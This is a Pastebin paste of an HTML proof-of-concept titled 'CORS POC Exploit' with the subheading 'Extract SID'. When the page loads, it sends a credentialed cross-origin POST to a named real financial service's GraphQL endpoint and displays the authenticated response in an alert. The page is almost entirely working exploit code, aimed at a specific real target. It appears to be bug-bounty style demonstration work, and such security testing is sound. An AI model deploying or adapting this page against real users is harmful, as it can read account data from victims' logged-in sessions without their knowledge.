Advertisement
Guest User

test

a guest
May 21st, 2019
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.93 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <script>
  5. function cors() {
  6. var xhttp = new XMLHttpRequest();
  7. xhttp.onreadystatechange = function() {
  8. if (this.readyState == 4 && this.status == 200) {
  9. document.getElementById("demo").innerHTML = alert(this.responseText);
  10. }
  11. };
  12. xhttp.open("POST", "https://graphql.acorns.com/graphql", false);
  13. xhttp.withCredentials = true;
  14. xhttp.send(JSON.stringify([{"operationName":"ReferralAgreement","variables":{},"extensions":{"persistedQuery":{"version":1,"sha256Hash":"9aa5eea00b7233edd06804ab161d5b3f99817b71ed255013384e004f0a90afc0"}}},{"operationName":"IsAuthenticated","variables":{},"extensions":{"persistedQuery":{"version":1,"sha256Hash":"b62979ec74c2334ebed089531504a59c7654e007185d3e4b22e327d34a64263d"}}}]));
  15. }</script></head>
  16. <body onload="cors()">
  17. <center>
  18. <h2>CORS POC Exploit armaan </h2>
  19. <h3>Extract SID</h3><div id="demo">
  20. <button type="button" onclick="cors()">Exploit</button></div></body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement